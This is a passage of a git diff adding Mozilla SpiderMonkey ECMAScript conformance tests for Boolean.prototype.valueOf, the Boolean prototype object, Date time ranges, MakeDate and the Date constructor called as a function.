+ "valof=Boolean.prototype.valueOf; x=new String( 'hello' ); x.valueOf=valof;x.valueOf()",
+ "error",
+ eval("valof=Boolean.prototype.valueOf; x=new String( 'hello' ); x.valueOf=valof;x.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.3.js b/js/src/tests/ecma/Boolean/15.6.4.3.js
new file mode 100644
index 000000000..ca622ebb3
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.3.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.3.js
+ ECMA Section: 15.6.4.3 Boolean.prototype.valueOf()
+ Description: Returns this boolean value.
+
+ The valueOf function is not generic; it generates
+ a runtime error if its this value is not a Boolean
+ object. Therefore it cannot be transferred to other
+ kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: june 27, 1997
+*/
+
+
+
+new TestCase( "15.8.6.4", "new Boolean(1)", true, (new Boolean(1)).valueOf() );
+
+new TestCase( "15.8.6.4", "new Boolean(0)", false, (new Boolean(0)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(-1)", true, (new Boolean(-1)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean('1')", true, (new Boolean("1")).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean('0')", true, (new Boolean("0")).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(true)", true, (new Boolean(true)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(false)", false, (new Boolean(false)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean('true')", true, (new Boolean("true")).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean('false')", true, (new Boolean('false')).valueOf() );
+
+new TestCase( "15.8.6.4", "new Boolean('')", false, (new Boolean('')).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(null)", false, (new Boolean(null)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(void(0))", false, (new Boolean(void(0))).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(-Infinity)", true, (new Boolean(Number.NEGATIVE_INFINITY)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(NaN)", false, (new Boolean(Number.NaN)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean()", false, (new Boolean()).valueOf() );
+
+new TestCase( "15.8.6.4", "new Boolean(x=1)", true, (new Boolean(x=1)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(x=0)", false, (new Boolean(x=0)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(x=false)", false, (new Boolean(x=false)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(x=true)", true, (new Boolean(x=true)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(x=null)", false, (new Boolean(x=null)).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(x='')", false, (new Boolean(x="")).valueOf() );
+new TestCase( "15.8.6.4", "new Boolean(x=' ')", true, (new Boolean(x=" ")).valueOf() );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.4.js b/js/src/tests/ecma/Boolean/15.6.4.js
new file mode 100644
index 000000000..df98a67ee
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.4.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.4.js
+ ECMA Section: Properties of the Boolean Prototype Object
+ Description:
+ The Boolean prototype object is itself a Boolean object (its [[Class]] is "
+ Boolean") whose value is false.
+
+ The value of the internal [[Prototype]] property of the Boolean prototype
+ object is the Object prototype object (15.2.3.1).
+
+ In following descriptions of functions that are properties of the Boolean
+ prototype object, the phrase "this Boolean object" refers to the object that
+ is the this value for the invocation of the function; it is an error if
+ this does not refer to an object for which the value of the internal
+ [[Class]] property is "Boolean". Also, the phrase "this boolean value"
+ refers to the boolean value represented by this Boolean object, that is,
+ the value of the internal [[Value]] property of this Boolean object.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.6.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Boolean Prototype Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Boolean.prototype == false",
+ true,
+ Boolean.prototype == false );
+
+new TestCase( SECTION,
+ "Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()",
+ "[object Boolean]",
+ eval("Boolean.prototype.toString = Object.prototype.toString; Boolean.prototype.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/browser.js b/js/src/tests/ecma/Boolean/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/browser.js
diff --git a/js/src/tests/ecma/Boolean/shell.js b/js/src/tests/ecma/Boolean/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/shell.js
diff --git a/js/src/tests/ecma/Date/15.9.1.1-1.js b/js/src/tests/ecma/Date/15.9.1.1-1.js
new file mode 100644
index 000000000..08032ae4a
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.1.1-1.js
@@ -0,0 +1,61 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.1.1-1.js
+ ECMA Section: 15.9.1.1 Time Range
+ Description:
+ - leap seconds are ignored
+ - assume 86400000 ms / day
+ - numbers range fom +/- 9,007,199,254,740,991
+ - ms precision for any instant that is within
+ approximately +/-285,616 years from 1 jan 1970
+ UTC
+ - range of times supported is -100,000,000 days
+ to 100,000,000 days from 1 jan 1970 12:00 am
+ - time supported is 8.64e5*10e8 milliseconds from
+ 1 jan 1970 UTC (+/-273972.6027397 years)
+
+ - this test generates its own data -- it does not
+ read data from a file.
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+ Static variables:
+ FOUR_HUNDRED_YEARS
+
+*/
+
+// every one hundred years contains:
+// 24 years with 366 days
+//
+// every four hundred years contains:
+// 97 years with 366 days
+// 303 years with 365 days
+//
+// 86400000*365*97 = 3067372800000
+// +86400000*366*303 = + 9555408000000
+// = 1.26227808e+13
+var FOUR_HUNDRED_YEARS = 1.26227808e+13;
+var SECTION = "15.9.1.1-1";
+
+writeHeaderToLog("15.9.1.1 Time Range");
+
+var M_SECS;
+var CURRENT_YEAR;
+
+for ( M_SECS = 0, CURRENT_YEAR = 1970;
+ M_SECS < 8640000000000000;
+ M_SECS += FOUR_HUNDRED_YEARS, CURRENT_YEAR += 400 ) {
+
+ new TestCase( SECTION,
+ "new Date("+M_SECS+")",
+ CURRENT_YEAR,
+ (new Date( M_SECS)).getUTCFullYear() );
+}
+
+test();
+
diff --git a/js/src/tests/ecma/Date/15.9.1.1-2.js b/js/src/tests/ecma/Date/15.9.1.1-2.js
new file mode 100644
index 000000000..3013265b5
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.1.1-2.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.1.1-2.js
+ ECMA Section: 15.9.1.1 Time Range
+ Description:
+ - leap seconds are ignored
+ - assume 86400000 ms / day
+ - numbers range fom +/- 9,007,199,254,740,991
+ - ms precision for any instant that is within
+ approximately +/-285,616 years from 1 jan 1970
+ UTC
+ - range of times supported is -100,000,000 days
+ to 100,000,000 days from 1 jan 1970 12:00 am
+ - time supported is 8.64e5*10e8 milliseconds from
+ 1 jan 1970 UTC (+/-273972.6027397 years)
+ Author: christine@netscape.com
+ Date: 9 july 1997
+*/
+
+// every one hundred years contains:
+// 24 years with 366 days
+//
+// every four hundred years contains:
+// 97 years with 366 days
+// 303 years with 365 days
+//
+// 86400000*366*97 = 3067372800000
+// +86400000*365*303 = + 9555408000000
+// = 1.26227808e+13
+
+var FOUR_HUNDRED_YEARS = 1.26227808e+13;
+var SECTION = "15.9.1.1-2";
+
+writeHeaderToLog("15.9.1.1 Time Range");
+
+var M_SECS;
+var CURRENT_YEAR;
+
+for ( M_SECS = 0, CURRENT_YEAR = 1970;
+ M_SECS > -8640000000000000;
+ M_SECS -= FOUR_HUNDRED_YEARS, CURRENT_YEAR -= 400 ) {
+
+ new TestCase( SECTION,
+ "new Date("+M_SECS+")",
+ CURRENT_YEAR,
+ (new Date( M_SECS )).getUTCFullYear() );
+
+}
+
+test();
+
diff --git a/js/src/tests/ecma/Date/15.9.1.13-1.js b/js/src/tests/ecma/Date/15.9.1.13-1.js
new file mode 100644
index 000000000..ff52d93d5
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.1.13-1.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.1.13-1.js
+ ECMA Section: 15.9.1.1 MakeDate(day, time)
+ Description:
+
+ The operator MakeDate calculates a number of milliseconds from its
+ two arguments, which must be ECMAScript number values. This
+ operator functions as follows:
+
+ 1. If day is not finite or time is not finite, return NaN.
+
+ 2. Compute day * msPerDay + time.
+
+ 3. Return Result(2).
+*/
+
+new TestCase( SECTION,
+ "MakeDate(Number.POSITIVE_INFINITY, 0)",
+ Number.NaN,
+ MakeDate(Number.POSITIVE_INFINITY, 0));
+
+new TestCase( SECTION,
+ "MakeDate(Number.NEGATIVE_INFINITY, 0)",
+ Number.NaN,
+ MakeDate(Number.NEGATIVE_INFINITY, 0));
+
+new TestCase( SECTION,
+ "MakeDate(0, Number.POSITIVE_INFINITY)",
+ Number.NaN,
+ MakeDate(0, Number.POSITIVE_INFINITY));
+
+new TestCase( SECTION,
+ "MakeDate(0, Number.NEGATIVE_INFINITY)",
+ Number.NaN,
+ MakeDate(0, Number.NEGATIVE_INFINITY));
+
+test();
+
diff --git a/js/src/tests/ecma/Date/15.9.2.1.js b/js/src/tests/ecma/Date/15.9.2.1.js
new file mode 100644
index 000000000..0d9ce106d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.1.js
@@ -0,0 +1,140 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.1.js
+ ECMA Section: 15.9.2.1 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds, ms )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.2.1";
+var TITLE = "Date Constructor used as a function";
+var TYPEOF = "string";
+var TOLERANCE = 1000;
+
+writeHeaderToLog("15.9.2.1 The Date Constructor Called as a Function: " +
+ "Date( year, month, date, hours, minutes, seconds, ms )" );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around 1970
+
+d1 = new Date();
+d2 = Date.parse(Date(1970,0,1,0,0,0,0));
+new TestCase(SECTION, "Date(1970,0,1,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1969,11,31,15,59,59,999));
+new TestCase(SECTION, "Date(1969,11,31,15,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1969,11,31,16,0,0,0));
+new TestCase(SECTION, "Date(1969,11,31,16,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1969,11,31,16,0,0,1));
+new TestCase(SECTION, "Date(1969,11,31,16,0,0,1)", true, d2 - d1 <= 1000);
+
+// Dates around 2000
+d1 = new Date();
+d2 = Date.parse(Date(1999,11,15,59,59,999));
+new TestCase(SECTION, "Date(1999,11,15,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1999,11,16,0,0,0,0));
+new TestCase(SECTION, "Date(1999,11,16,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1999,11,31,23,59,59,999));
+new TestCase(SECTION, "Date(1999,11,31,23,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,0,0,0,0,0,0));
+new TestCase(SECTION, "Date(2000,0,1,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,0,0,0,0,0,1));
+new TestCase(SECTION, "Date(2000,0,1,0,0,0,1)", true, d2 - d1 <= 1000);
+
+// Dates around 1900
+
+d1 = new Date();
+d2 = Date.parse(Date(1899,11,31,23,59,59,999));
+new TestCase(SECTION, "Date(1899,11,31,23,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1900,0,1,0,0,0,0));
+new TestCase(SECTION, "Date(1900,0,1,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1900,0,1,0,0,0,1));
+new TestCase(SECTION, "Date(1900,0,1,0,0,0,1)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1899,11,31,16,0,0,0,0));
+new TestCase(SECTION, "Date(1899,11,31,16,0,0,0,0)", true, d2 - d1 <= 1000);
+
+// Dates around feb 29, 2000
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,1,29,0,0,0,0));
+new TestCase(SECTION, "Date(2000,1,29,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,1,28,23,59,59,999));
+new TestCase(SECTION, "Date(2000,1,28,23,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,1,27,16,0,0,0));
+new TestCase(SECTION, "Date(2000,1,27,16,0,0,0)", true, d2 - d1 <= 1000);
+
+// Dates around jan 1, 2005
+d1 = new Date();
+d2 = Date.parse(Date(2004,11,31,23,59,59,999));
+new TestCase(SECTION, "Date(2004,11,31,23,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2005,0,1,0,0,0,0));
+new TestCase(SECTION, "Date(2005,0,1,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2005,0,1,0,0,0,1));
+new TestCase(SECTION, "Date(2005,0,1,0,0,0,1)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2004,11,31,16,0,0,0,0));
+new TestCase(SECTION, "Date(2004,11,31,16,0,0,0,0)", true, d2 - d1 <= 1000);
+
+// Dates around jan 1, 2032
+d1 = new Date();
+d2 = Date.parse(Date(2031,11,31,23,59,59,999));
+new TestCase(SECTION, "Date(2031,11,31,23,59,59,999)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2032,0,1,0,0,0,0));
+new TestCase(SECTION, "Date(2032,0,1,0,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2032,0,1,0,0,0,1));
+new TestCase(SECTION, "Date(2032,0,1,0,0,0,1)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2031,11,31,16,0,0,0,0));
+new TestCase(SECTION, "Date(2031,11,31,16,0,0,0,0)", true, d2 - d1 <= 1000);
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.2.2-1.js b/js/src/tests/ecma/Date/15.9.2.2-1.js
new file mode 100644
index 000000000..af786a91a
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.2-1.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.2.js
+ ECMA Section: 15.9.2.2 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+var VERSION = 9706;
+startTest();
+var SECTION = "15.9.2.2";
+var TOLERANCE = 100;
+var TITLE = "The Date Constructor Called as a Function";
+
+writeHeaderToLog(SECTION+" "+TITLE );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around 1970
+
+d1 = new Date();
+d2 = Date.parse(Date(1970,0,1,0,0,0));
+new TestCase(SECTION, "Date(1970,0,1,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1969,11,31,15,59,59));
+new TestCase(SECTION, "Date(1969,11,31,15,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1969,11,31,16,0,0));
+new TestCase(SECTION, "Date(1969,11,31,16,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1969,11,31,16,0,1));
+new TestCase(SECTION, "Date(1969,11,31,16,0,1)", true, d2 - d1 <= 1000);
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.2.2-2.js b/js/src/tests/ecma/Date/15.9.2.2-2.js
new file mode 100644
index 000000000..6da589bcf
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.2-2.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.2.js
+ ECMA Section: 15.9.2.2 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+var VERSION = 9706;
+startTest();
+var SECTION = "15.9.2.2";
+var TOLERANCE = 100;
+var TITLE = "The Date Constructor Called as a Function";
+
+writeHeaderToLog(SECTION+" "+TITLE );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around 2000
+d1 = new Date();
+d2 = Date.parse(Date(1999,11,15,59,59));
+new TestCase( SECTION, "Date(1999,11,15,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1999,11,16,0,0,0));
+new TestCase( SECTION, "Date(1999,11,16,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1999,11,31,23,59,59));
+new TestCase( SECTION, "Date(1999,11,31,23,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,0,0,0,0,0));
+new TestCase( SECTION, "Date(2000,0,1,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,0,0,0,0,1));
+new TestCase( SECTION, "Date(2000,0,1,0,0,1)", true, d2 - d1 <= 1000)
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.2.2-3.js b/js/src/tests/ecma/Date/15.9.2.2-3.js
new file mode 100644
index 000000000..36459b9b4
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.2-3.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.2.js
+ ECMA Section: 15.9.2.2 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+var VERSION = 9706;
+startTest();
+var SECTION = "15.9.2.2";
+var TOLERANCE = 100;
+var TITLE = "The Date Constructor Called as a Function";
+
+writeHeaderToLog(SECTION+" "+TITLE );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around 1900
+
+d1 = new Date();
+d2 = Date.parse(Date(1899,11,31,23,59,59));
+new TestCase( SECTION, "Date(1899,11,31,23,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1900,0,1,0,0,0));
+new TestCase( SECTION, "Date(1900,0,1,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1900,0,1,0,0,1) );
+new TestCase( SECTION, "Date(1900,0,1,0,0,1)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(1899,11,31,16,0,0,0));
+new TestCase( SECTION, "Date(1899,11,31,16,0,0,0)", true, d2 - d1 <= 1000);
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.2.2-4.js b/js/src/tests/ecma/Date/15.9.2.2-4.js
new file mode 100644
index 000000000..b90651deb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.2-4.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.2.js
+ ECMA Section: 15.9.2.2 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+var VERSION = 9706;
+startTest();
+var SECTION = "15.9.2.2";
+var TOLERANCE = 100;
+var TITLE = "The Date Constructor Called as a Function";
+
+writeHeaderToLog(SECTION+" "+TITLE );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around feb 29, 2000
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,1,29,0,0,0));
+new TestCase(SECTION, "Date(2000,1,29,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,1,28,23,59,59));
+new TestCase(SECTION, "Date(2000,1,28,23,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2000,1,27,16,0,0));
+new TestCase(SECTION, "Date(2000,1,27,16,0,0)", true, d2 - d1 <= 1000);
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.2.2-5.js b/js/src/tests/ecma/Date/15.9.2.2-5.js
new file mode 100644
index 000000000..48cb26135
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.2-5.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.2.js
+ ECMA Section: 15.9.2.2 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+var VERSION = 9706;
+startTest();
+var SECTION = "15.9.2.2";
+var TOLERANCE = 100;
+var TITLE = "The Date Constructor Called as a Function";
+
+writeHeaderToLog(SECTION+" "+TITLE );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around jan 1, 2005
+
+d1 = new Date();
+d2 = Date.parse(Date(2004,11,31,23,59,59));
+new TestCase( SECTION, "Date(2004,11,31,23,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2005,0,1,0,0,0) );
+new TestCase( SECTION, "Date(2005,0,1,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2005,0,1,0,0,1) );
+new TestCase( SECTION, "Date(2005,0,1,0,0,1)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2004,11,31,16,0,0,0));
+new TestCase( SECTION, "Date(2004,11,31,16,0,0,0)", true, d2 - d1 <= 1000);
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.2.2-6.js b/js/src/tests/ecma/Date/15.9.2.2-6.js
new file mode 100644
index 000000000..619686e93
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.2.2-6.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.2.2.js
+ ECMA Section: 15.9.2.2 Date constructor used as a function
+ Date( year, month, date, hours, minutes, seconds )
+ Description: The arguments are accepted, but are completely ignored.
+ A string is created and returned as if by the
+ expression (new Date()).toString().
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+var VERSION = 9706;
+startTest();
+var SECTION = "15.9.2.2";
+var TOLERANCE = 100;
+var TITLE = "The Date Constructor Called as a Function";
+
+writeHeaderToLog(SECTION+" "+TITLE );
+
+// allow up to 1 second difference due to possibility
+// the date may change by 1 second in between calls to Date
+
+var d1;
+var d2;
+
+// Dates around jan 1, 2032
+d1 = new Date();
+d2 = Date.parse(Date(2031,11,31,23,59,59));
+new TestCase(SECTION, "Date(2031,11,31,23,59,59)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2032,0,1,0,0,0));
+new TestCase(SECTION, "Date(2032,0,1,0,0,0)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2032,0,1,0,0,1));
+new TestCase(SECTION, "Date(2032,0,1,0,0,1)", true, d2 - d1 <= 1000);
+
+d1 = new Date();
+d2 = Date.parse(Date(2031,11,31,16,0,0,0));
+new TestCase(SECTION, "Date(2031,11,31,16,0,0,0)", true, d2 - d1 <= 1000);
+
+test();
diff --git a/js/src/tests/ecma/Date/15.9.3.1-1.js b/js/src/tests/ecma/Date/15.9.3.1-1.js
new file mode 100644
index 000000000..c5ecc19d0
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.1-1.js
@@ -0,0 +1,205 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.9.3.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
